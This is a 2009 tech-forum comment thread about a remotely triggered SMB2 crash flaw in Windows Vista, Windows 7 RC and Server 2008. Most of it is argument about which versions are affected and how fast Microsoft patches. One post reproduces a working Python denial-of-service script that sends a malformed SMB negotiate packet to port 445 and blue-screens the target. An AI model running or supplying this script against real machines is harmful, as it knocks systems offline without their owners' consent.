Updated: Flaw in Windows 7 RC and Vista allows remote reboot

(4 replies) #1 koppit on 08 Sep 2009 - 17:29

Not sure I follow the title here : if it apparently had no effect in Windows 7, how is it affected?

#1.1 cybertimber2008 on 08 Sep 2009 - 17:33

It seems that when they tested it at Heise Security, they couldn't reproduce the Win7 exploit portion. But it was reported to them that it could.

According to the original article, Server 2008 may be vulnerable as well (currently untested), but Win 2000 and XP are not (don't have SMB2).

#1.2 Tom W on 08 Sep 2009 - 17:34

Only one exploit has been made. That doesn't mean further exploit could won't surface, this is a 0-day flaw. Hence *could*.

#1.3 Lechio on 08 Sep 2009 - 18:36

VI. SYSTEMS AFFECTED
-------------------------
Vista/Windows 7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server
2008 (not tested)
as it use the same SMB2.0 driver.

#1.4 +Brandon Live on 09 Sep 2009 - 04:09

Windows 7 is not affected.

http://www.microsoft.com/technet/security/...ory/975497.mspx

(1 reply) #2 kInG aLeXo on 08 Sep 2009 - 17:34

However, in the test, the exploit had no apparent effect on a computer running Windows 7 ?????

Why you say Flow in Windows 7 then ?!

#2.1 Calum on 08 Sep 2009 - 17:58

Because that was only one test of this. It has been reported that Windows 7 and Windows Vista could be affected. Just because one test did not affect Windows 7, it doesn't mean Windows 7 cannot be affected.

#3 Mathiasdm on 08 Sep 2009 - 17:41

I just tried it on Vista, crashes Vista immediately (screen goes black, then a BSoD pops up and the computer restarts). Messages on Slashdot seem to indicate it doesn't work on each Windows 7 machine (probably because some of them have SMB disabled?).

Last edited by Mathiasdm on 08 Sep 2009 - 17:50

#4 xx9e02 on 08 Sep 2009 - 17:42

Well, that can't be good.

#5 JoshW02 on 08 Sep 2009 - 17:44

So is this just a vista flaw or 7 flaw 2? Am I the only one confused

(2 replies) #6 Sean2989 on 08 Sep 2009 - 17:59

Think the confusion comes in when they mention Windows 7. Remember Windows 7 is built atop of Vista, therefore the possibility exists on that the same exploit can be executed on 7. Please someone correct me if I'm wrong.

#6.1 Skyfrog on 08 Sep 2009 - 22:18

People are already reporting that this does indeed bring down their Windows 7 machines. Some others have said it only restarted the network stack or had no effect (possibly becuase they had SMB disabled already or their firewall blocks it). In any case it does appear that 7 is affected.

#6.2 +Brandon Live on 09 Sep 2009 - 04:10

It does not work against Win7 RTM, but may against earlier builds.

(10 replies) #7 Nick Brunt on 08 Sep 2009 - 18:01

If it really is a mojor flaw, they should fix it by the official release date of October 22nd.

However, knowing Microsoft's bug fix response time... it may take a year or two...

#7.1 /- Razorfold on 08 Sep 2009 - 18:55

Nick Brunt said,

If it really is a mojor flaw, they should fix it by the official release date of October 22nd.

However, knowing Microsoft's bug fix response time... it may take a year or two...

LOL what? Microsoft has the fastest critical bug fix time in the industry

Go troll somewhere else

#7.2 +Kirkburn on 08 Sep 2009 - 19:04

Nick Brunt said,

If it really is a mojor flaw, they should fix it by the official release date of October 22nd.

However, knowing Microsoft's bug fix response time... it may take a year or two...

I guess Patch Tuesday just doesn't exist.

#7.3 GreyWolfSC on 08 Sep 2009 - 19:13

Microsoft releases patches every Tuesday if there are any and out-of-band patches for severe issues.

#7.4 Glendi on 08 Sep 2009 - 19:57

Nick Brunt said,

If it really is a mojor flaw, they should fix it by the official release date of October 22nd.

However, knowing Microsoft's bug fix response time... it may take a year or two...

ROFLCOPTER

#7.5 Nick Brunt on 08 Sep 2009 - 22:15

Ok, fair enough. I was just thinking about the number of major bugs in Internet Explorer that went unfixed for ages.

#7.6 Nick Brunt on 08 Sep 2009 - 22:21

"The Washington Post reports that exploit code for critical unpatched security vulnerabilities in Internet Explorer was available for 284 days in 2006. In comparison, exploit code for critical security vulnerabilities in Firefox was available for 9 days before Mozilla shipped a patch to remedy the problem." - Wikipedia (http://en.wikipedia.org/wiki/Mozilla_Firefox#Security)

Maybe I was a bit harsh though.

#7.7 Raa on 08 Sep 2009 - 22:49

Very. If you didn't realise, this is 2009 now, and IE is probably the most secure (if not almost) browser available now. (Statistically proven, I believe)

#7.8 cakesy on 09 Sep 2009 - 00:10

Raa said,

Very. If you didn't realise, this is 2009 now, and IE is probably the most secure (if not almost) browser available now. (Statistically proven, I believe)

Statistically proven by a company paid for by Microsoft, but don't let that stop you believing in it whole heartedly, and trotting it out whenever you can. Spyglass/IE is the most insecure browser out there, but maybe 8 isn't as bad as the previous versions. They still have a long way to go to even approach some of the security improvements of chrome.

#7.9 cakesy on 09 Sep 2009 - 02:15

/- Razorfold said,

LOL what? Microsoft has the fastest critical bug fix time in the industry

Go troll somewhere else

You would do well heading your own advice:

Today vendors are finally releasing patches for the TCP vulnerabilities first publicized nearly a year ago that affect a huge range of networking products, including any device running a version of Cisco's IOS software, and a number of Microsoft server and desktop operating systems. Both Microsoft and Cisco released fixes for the vulnerabilities today. The Microsoft Patch Tuesday release included the fix for the TCP flaw, which affects Windows Server 2003 and 2008, as well as Windows Vista, both the 32-bit and 64-bit editions, and Windows 2000 SP4, for which no fix is coming. The TCP flaws were identified several years ago and were made public last year by two researchers at Outpost24, Jack C. Louis and Robert E. Lee. Louis, who has since died, developed a tool called Sockstress that tested for the flaw and was able to maintain extremely long-term TCP connections with remote machines using very little bandwidth.

Sometimes Microsoft are quite good at fixing vulnerabilities, sometimes they are not. Sticking your head in the sand and ignoring the facts doesn't help anyone. Microsoft are a big company, and produce a lot of products, it is not a simple bug fix to fix some of these issues. On top of that, they need loads of testing to make sure they haven't broken anything else.

#7.10 /- Razorfold on 09 Sep 2009 - 02:32

Sometimes Microsoft are quite good at fixing vulnerabilities, sometimes they are not. Sticking your head in the sand and ignoring the facts doesn't help anyone. Microsoft are a big company, and produce a lot of products, it is not a simple bug fix to fix some of these issues. On top of that, they need loads of testing to make sure they haven't broken anything else.

Except, the office, 360, game studios, hardware, etc teams do not deal with Windows bugs...the Windows team does.

If the bug is deemed critical enough and the patch is released as an emergency patch, then the testing done on is very little. And the patch is released as fast as it possibly can.

So like I said, compared to any other company microsoft's average bug fixing time is the fastest in the industry.

And btw about your little TCP vulnerability post:

The attack requires a successful TCP 3 way handshake to effectively fill the victims connection tables. This limits the attack's effectiveness as an attacker cannot spoof his IP to avoid traceability.

A sockstress style exploit also needs access to raw sockets on the attacking machine because the packets must be handled in userspace rather than with the OS's connect() API. Since raw sockets are disabled on Windows XP SP1 and above, the exploit's usability is limited to those on other platforms with raw sockets such as *nix

---

Statistically proven by a company paid for by Microsoft, but don't let that stop you believing in it whole heartedly, and trotting it out whenever you can. Spyglass/IE is the most insecure browser out there, but maybe 8 isn't as bad as the previous versions. They still have a long way to go to even approach some of the security improvements of chrome.

Except, IE7/8 on vista and 7 run by default in protected mode ( sandbox ). So unless you explicitly allow it, a bug or a virus, cannot do any harm to the system. Ie7 and 8 already run each tab in a seperate process and with DEP enabled (by default) code cannot be injected at all, regardless of where it came from.

Yes I know chrome also has this, but it was done by partially reverse engineering the windows kernel, and IE had it first.

Now if you were to download a virus/trojan w/e and then run it as administrator...you're screwed no matter what browser you use.

Last edited by /- Razorfold on 09 Sep 2009 - 02:45

#8 JoshW02 on 08 Sep 2009 - 18:14

Hey dont bash ms tell me one bug or flaw thats took a year or 2 to fix(snipped)?

Last edited by GreyWolfSC on 08 Sep 2009 - 19:09

(1 reply) #9 RangerLG on 08 Sep 2009 - 18:15

So just a reboot? No remote execution? Sounds more like a nuisance for home users. Is this done through the firewall?

#9.1 cakesy on 09 Sep 2009 - 00:12

RangerLG said,

So just a reboot? No remote execution? Sounds more like a nuisance for home users. Is this done through the firewall?

A mere nuisance? Maybe you think having your computer reboot every 10 minutes is fine?

Hopefully Microsoft will fix this soon, although it has been around for years.

(6 replies) #10 JonathanMarston on 08 Sep 2009 - 18:20

99% of users don't have SMB mapped through their routers, and when on a public network Vista/7 disables fire sharing, so this really isn't that big of an issue.

Still needs to be fixed ASAP, and will undoubtedly be patched before 10-22.

#10.1 Aergan on 08 Sep 2009 - 19:07

You speak truth amoungst the FUD.

#10.2 cakesy on 09 Sep 2009 - 00:13

JonathanMarston said,

Still needs to be fixed ASAP, and will undoubtedly be patched before 10-22.

Yeah, undoubtedly, even though it has been around for years.

I still don't see Microsoft taking security seriously, when they let stuff like this through.

#10.3 JonathanMarston on 09 Sep 2009 - 02:56

[sarcasm]Because obviously they can't be taken seriously until there are 0 security flaws like in Linux.[/sarcasm]

#10.4 cakesy on 09 Sep 2009 - 07:51

JonathanMarston said,

[sarcasm]Because obviously they can't be taken seriously until there are 0 security flaws like in Linux.[/sarcasm]

So, that is your excuse for making stuff up? I didn't say linux, or mac os was perfect, as has been seen by the Mac OS coming with a flawed version of Flash. No OS if perfect, but people running around here, making excuses for Microsoft, talking trash about how they are the fastest at fixing bugs, are making themselves just look silly.

#10.5 JamesWeb on 09 Sep 2009 - 09:53

Fire sharing sounds awesome.

#10.6 /- Razorfold on 10 Sep 2009 - 04:17

cakesy said,

So, that is your excuse for making stuff up? I didn't say linux, or mac os was perfect, as has been seen by the Mac OS coming with a flawed version of Flash. No OS if perfect, but people running around here, making excuses for Microsoft, talking trash about how they are the fastest at fixing bugs, are making themselves just look silly.

Oh because proof is always silly:

http://arstechnica.com/apple/news/2008/04/...sun-slowest.ars

Done with your trolling yet?

(7 replies) #11 Lechio on 08 Sep 2009 - 18:30

Here's the exploit implemented in a very simple python script. Don't think that there's anything wrong in posting the code here, but if there is please remove.

# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated - US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" header field it
dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal operation should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

This could end up being massively exploited. If running the affected version of Windows people should close this port in their firewalls: 445

#11.1 JonathanMarston on 08 Sep 2009 - 19:34

Lechio said,

This could end up being massively exploited. If running the affected version of Windows people should close this port in their firewalls: 445

99% of users don't have SMB mapped through their routers, and when on a public network Vista/7 disables fire sharing, so this really isn't that big of an issue.

#11.2 kouhii00 on 08 Sep 2009 - 20:09

JonathanMarston said,

99% of users don't have SMB mapped through their routers, and when on a public network Vista/7 disables fire sharing, so this really isn't that big of an issue.

The last 1% is actually a lot of users as Microsoft has sold 100+ million copies of Vista. Though the actual number of Vista users is unknown, 1% could possibly effect 1 million users. I guess we'll have to for Microsoft to respond to this.

#11.3 cakesy on 09 Sep 2009 - 00:14

kouhii00 said,

The last 1% is actually a lot of users as Microsoft has sold 100+ million copies of Vista. Though the actual number of Vista users is unknown, 1% could possibly effect 1 million users. I guess we'll have to for Microsoft to respond to this.

They may have "sold" 100 million copies of Vista, but how many people upgraded to XP from that? That is something that Microsoft will never tell us. It could be as high as 90%.

#11.4 /- Razorfold on 09 Sep 2009 - 02:57

cakesy said,

They may have "sold" 100 million copies of Vista, but how many people upgraded to XP from that? That is something that Microsoft will never tell us. It could be as high as 90%.

And thats a bad thing because? Stop your trolling really

#11.5 kouhii00 on 09 Sep 2009 - 06:01

cakesy said,

They may have "sold" 100 million copies of Vista, but how many people upgraded to XP from that? That is something that Microsoft will never tell us. It could be as high as 90%.

Huh? Okay if you say 90% downgraded to XP that gives it 10 million users still use Vista and 1% of 10 million is what, 100 thousand users? That is still a large amount.

Where'd you pull the number that 90% of Vista users downgrade to XP?
How big is your sample size to come up with that number? What's the average and sigma? What is your data skew? What is the level of confidence in your data? What is the source of your data? How does your data compare with XP when it was released, is there a trend? Can you explain to me what the data tells you after the comparison?

Last edited by kouhii00 on 09 Sep 2009 - 06:17

#11.6 cakesy on 09 Sep 2009 - 07:53

kouhii00 said,

Huh? Okay if you say 90% downgraded to XP that gives it 10 million users still use Vista and 1% of 10 million is what, 100 thousand users? That is still a large amount.

Where'd you pull the number that 90% of Vista users downgrade to XP?
How big is your sample size to come up with that number? What's the average and sigma? What is your data skew? What is the level of confidence in your data? What is the source of your data? How does your data compare with XP when it was released, is there a trend? Can you explain to me what the data tells you after the comparison?

Can you read? The only people who really know are at Microsoft, and they wont release the numbers. I have no idea what the rate is, but it could be 90%, it could be 1%, it could be anything. But I would guess it is not 1% or Microsoft would be pushing those numbers to any newspaper, tech site, blog or twitter account that they could.

I don't work for Microsoft, despite popular opinion to the contrary.

#11.7 kouhii00 on 09 Sep 2009 - 09:27

cakesy said,

Can you read? The only people who really know are at Microsoft, and they wont release the numbers. I have no idea what the rate is, but it could be 90%, it could be 1%, it could be anything. But I would guess it is not 1% or Microsoft would be pushing those numbers to any newspaper, tech site, blog or twitter account that they could.

I don't work for Microsoft, despite popular opinion to the contrary.

Heh..When you throw out numbers people think you have gotten it from somewhere other than Microsoft. The numbers you have mentioned might be small to you but if you take into consideration the mass amount of Vista/Server2008 customers the flaw becomes a big issue. If you don't have the actual numbers with the data to back it up please don't randomly assume.

I never said you are a Microsoft employee and of course Microsoft will never release these numbers. If you are the CEO of Microsoft would you? I know I wouldn't and if some Marketing moron releases these numbers without permission from top management he/she will be fired instantly. Good luck getting another job at another high tech company with that kind of record.

If you worked for Microsoft you may be able to answer my questions as these types of information are not accessible to everyone. In the end Microsoft is still selling it's OS with margins so it is a win win situation; why bother?

#12 maartena on 08 Sep 2009 - 18:43

Well, the good thing is that pretty much all ISP's nowadays have disabled Windows Networking/SMB on their side, (remember the days when you could browse network neighborhood and see all workgroups on your local node?) so this should really only affect people inside networks, with a hacker present inside that network abusing that exploit.

(1 reply) #13 Julius Caro on 08 Sep 2009 - 18:50

So they release this things on a tuesday to have a whole week to play with the exploit?

#13.1 PrEzi on 08 Sep 2009 - 19:14

They may release an out-of-bound update to fix it earlier if they consider it a critical/major issue.

(1 reply) #14 Aahz on 08 Sep 2009 - 19:01

Super Mario Bros. 2 is built into Vista and 7? That's awesome!

#14.1 2Cold Scorpio on 08 Sep 2009 - 19:04

Aahz said,

Super Mario Bros. 2 is built into Vista and 7? That's awesome!

Haha, I wish; it was a great game.

(2 replies) #15 GreyWolfSC on 08 Sep 2009 - 19:10

Is it only remote? I just tried it on my Windows 7 Ultimate install and it didn't do anything at all.

#15.1 cakesy on 09 Sep 2009 - 00:16

GreyWolfSC said,

Is it only remote? I just tried it on my Windows 7 Ultimate install and it didn't do anything at all.

Oh well, if it doesn't affect the grey wolf then lets forget about it. No point wasting any more time on this guys, lets pack up and go home.

By any change, do you work for Microsoft in the Quality control deparment?

#15.2 /- Razorfold on 09 Sep 2009 - 02:58

cakesy said,

Oh well, if it doesn't affect the grey wolf then lets forget about it. No point wasting any more time on this guys, lets pack up and go home.

By any change, do you work for Microsoft in the Quality control deparment?

"Our investigation has shown that Windows Vista, Windows Server 2008 and Windows 7 RC are affected by this vulnerability. Windows 7 RTM, Windows Server 2008 R2, Windows XP and Windows 2000 are not affected by this vulnerability." - Microsoft Security Response Center

http://blogs.technet.com/msrc/archive/2009...7-released.aspx

#16 +DonC on 08 Sep 2009 - 19:37

I just tried this on my Windows 7 laptop and it had no effect.

(6 replies) #17 zagor on 08 Sep 2009 - 19:37

What a dumb title. Can't you understand plain English? It says " However, in the test, the exploit had no apparent effect on a computer running Windows 7." How much more stupid can you get with your title?

#17.1 Tom W on 08 Sep 2009 - 20:02

Can you not understand the meaning of the world COULD?

#17.2 Mega Goatlord on 08 Sep 2009 - 20:39

Tom W said,

Can you not understand the meaning of the world COULD?

Actually, you posted "Microsoft's implementation of the SMB2 protocol can be exploited via the net to crash or reboot Windows Vista and Windows 7 systems." The very next sentence, you say it has no effect on Windows 7. So which is it? And where is this 'could' of which you now speak? Oh, that's right, in the sensationalistic title. Next time, can you toss in a 'Maybe', 'kinda' or 'sorta'? That'd really put it over the top.

Talk about sloppy reporting.

Last edited by Mega Goatlord on 08 Sep 2009 - 20:48

#17.3 zagor on 08 Sep 2009 - 21:45

Mega Goatlord said,

Actually, you posted "Microsoft's implementation of the SMB2 protocol can be exploited via the net to crash or reboot Windows Vista and Windows 7 systems." The very next sentence, you say it has no effect on Windows 7. So which is it? And where is this 'could' of which you now speak? Oh, that's right, in the sensationalistic title. Next time, can you toss in a 'Maybe', 'kinda' or 'sorta'? That'd really put it over the top.

Talk about sloppy reporting.

+1
It is either sloppy reporting or intentional misinformation.

And, yes, I think most of us understand the meaning of COULD. You would use COULD if you had some evidence, which in this case, isn't there. If you wanted to hint at the possibility, you should have used may or might...

Shall we expect to see this sort of sloppy headlines till Windows 7 hits the store shelves?

Last edited by zagor on 08 Sep 2009 - 21:52

#17.4 lexa000 on 08 Sep 2009 - 22:21

Mega Goatlord said,

The very next sentence, you say it has no effect on Windows 7. So which is it?

You're only taking a small part of what he said

Initial tests by heise security indicate the exploit enabled a remote reboot of a Vista system. However, in the test, the exploit had no apparent effect on a computer running Windows 7.

The article refers to initial tests only, this doesn't mean that Windows 7 will never be affected in any test/real-world application, this means that under the specific conditions that it tested at Heise Security, Windows 7 was unaffected.

#17.5 Mega Goatlord on 09 Sep 2009 - 01:39

Going from 'can be exploited' to 'has no effect' is a pretty big leap, between two paragraphs. I'm not disputing what you've said, I'm merely commenting on how it was (mis)represented here.

#17.6 ixne_hombre on 09 Sep 2009 - 02:22

Typical sensationalism, more likely to boost view counts. Guess thats what can happen if people are getting paid to write the articles.

#18 superkid on 08 Sep 2009 - 19:37

Routers have firewalls so wouldn't the SMB Port be closed within the router? that if you didn't forward that port, of course right? So most home users with not much knowledge should be ok anyways, guessing they wouldn't know how to forward a port in the first place.

#19 morphen on 08 Sep 2009 - 19:49

oh noes...a exploit!

*installs dos*
*adds norton utilities*
*crash*

#20 DomZ on 08 Sep 2009 - 20:11

Not this all over again

(2 replies) #21 Skyfrog on 08 Sep 2009 - 22:06

Finally, something Vista and 7 can do that XP can't.

#21.1 lexa000 on 08 Sep 2009 - 22:24

Nonono, only 'could' do, don't give them too much credit just yet.

#21.2 LiquidSolstice on 09 Sep 2009 - 03:29

Yeah, along with REAL 64bit support.

Your little out-dated XP machine can't do that very well, just keep it in mind.

(7 replies) #22 powerade01 on 08 Sep 2009 - 23:03

The title makes it seem that 7 has this when it does not.

#22.1 Skyfrog on 08 Sep 2009 - 23:19

Windows 7 doesn't share the network stack from Vista? That's news to me.

#22.2 cakesy on 09 Sep 2009 - 00:17

Skyfrog said,

Windows 7 doesn't share the network stack from Vista? That's news to me.

It shares everything else, except for the GUI, so why wouldn't it. It is version 6.1, not version 7 (how is that for great naming).

#22.3 Skyfrog on 09 Sep 2009 - 00:53

That's my point, since they share the same network code and Vista is affected it is very possible 7 is too.

#22.4 +Brandon Live on 09 Sep 2009 - 04:12

Skyfrog said,

Windows 7 doesn't share the network stack from Vista? That's news to me.

Umm no, it has the Windows 7 network stack.

#22.5 +Brandon Live on 09 Sep 2009 - 04:13

cakesy said,

It shares everything else, except for the GUI, so why wouldn't it. It is version 6.1, not version 7 (how is that for great naming).

No, it is not. It is version 7, hence being called Windows 7. We changed the GetVersionEx API to return "6.1" for compatibility purposes. This was explained on the E7 blog like a year ago.

#22.6 Skyfrog on 09 Sep 2009 - 04:31

Brandon Live said,

Umm no, it has the Windows 7 network stack.

So how much has it changed from the one in Vista which it's based upon? You talk as if Windows 7 is a completely new OS. I realize things have been updated and changed, new things introduced, but Windows 7 is still based on Vista. It wasn't written from scratch.

Last edited by Skyfrog on 09 Sep 2009 - 04:37

#22.7 powerade01 on 09 Sep 2009 - 19:19

Skyfrog said,

It wasn't written from scratch.

No OS is written from scratch. Not Ubuntu. Not Linux. Not OSX....

(2 replies) #23 NfoTech on 09 Sep 2009 - 00:34

Oh no! Windows has a security flaw!! Let's focus on that and not the OSX, Linux flaw.

#23.1 Skyfrog on 09 Sep 2009 - 00:48

This flaw doesn't affect OS X or Linux so what exact flaw are you talking about and why should we focus on it in this particular article?

#23.2 LiquidSolstice on 09 Sep 2009 - 03:29

That was quite possibly the most ignorant and off-topic comment on this entire list.

(4 replies) #24 The Patri0t on 09 Sep 2009 - 01:02

"Our investigation has shown that Windows Vista, Windows Server 2008 and Windows 7 RC are affected by this vulnerability. Windows 7 RTM, Windows Server 2008 R2, Windows XP and Windows 2000 are not affected by this vulnerability." - Microsoft Security Response Center

http://blogs.technet.com/msrc/archive/2009...7-released.aspx

---

If that's true then this news needs to be edited.

#24.1 zagor on 09 Sep 2009 - 01:08

This is how it is done, journalism!
Before jumping on the train or under the train, better check the validity of the statements.

#24.2 Lechio on 09 Sep 2009 - 03:14

zagor said,

This is how it is done, journalism!
Before jumping on the train or under the train, better check the validity of the statements.

According to the article and now confirmed by Microsoft, Windows Vista, Windows 7 and Windows Server 2008 are affected by this. Windows 7 RTM isn't affected (this according to Microsoft).
Why is the article published wrong?

#24.3 The Patri0t on 09 Sep 2009 - 03:42

Windows 7 gives the impression Windows 7 RTM in case its hard for you to figure out. If its the Windows 7 RC effected then mention "RC". It makes a hell lot of difference when someone says something like this assuming its about the RTM when its not.

#24.4 zagor on 09 Sep 2009 - 05:21

Lechio said,

zagor said,

This is how it is done, journalism!
Before jumping on the train or under the train, better check the validity of the statements.

According to the article and now confirmed by Microsoft, Windows Vista, Windows 7 and Windows Server 2008 are affected by this. Windows 7 RTM isn't affected (this according to Microsoft).
Why is the article published wrong?

Well, I think people will see what they want to see. Didn't you read the article that you mentioned? It says windows 7 RTM is not effected.

Windows 7 RC is effected. But, that's not the same thing as windows 7 being effected. Windows 7 RC is a beta product.

(1 reply) #25 Kelxin on 09 Sep 2009 - 05:06

http://blogs.technet.com/msrc/archive/2009...7-released.aspx

We've just released Microsoft released Security Advisory 975497 that provides information about a new, irresponsibly reported vulnerability in SMB 2.0.

Thanks Tom for your irresponsible reporting, straight from the horses mouth.

Edit: Just so its final on this board

Our investigation has shown that Windows Vista, Windows Server 2008 and Windows 7 RC are affected by this vulnerability. Windows 7 RTM, Windows Server 2008 R2, Windows XP and Windows 2000 are not affected by this vulnerability.

#25.1 Tom W on 09 Sep 2009 - 15:36

Learn to read, the title says "could".

#26 Iscariah on 09 Sep 2009 - 06:01

Tested on a Win2008 SP2 x64 machine, and it crashed! BSOD with a 7E error code (bugcheck) on SRV2.SYS driver.

(1 reply) #27 powerade01 on 09 Sep 2009 - 11:07

Not effected and STILL the article remains. Should be titled

"Flaw in Windows Vista allows remote reboot; Windows 7 not effected"

#27.1 Tom W on 09 Sep 2009 - 15:37

Windows 7 is effected, just not the RTM version.

(1 reply) #28 Solid Knight on 09 Sep 2009 - 18:43

More people will probably switch to Linux after hearing this.

#28.1 Nick Brunt on 16 Sep 2009 - 22:25

I doubt it.

#29 powerade01 on 09 Sep 2009 - 19:20

NOW the title is great. Finally Neowin noticed after reading it 1000 times that it was not correct.

Neowin.net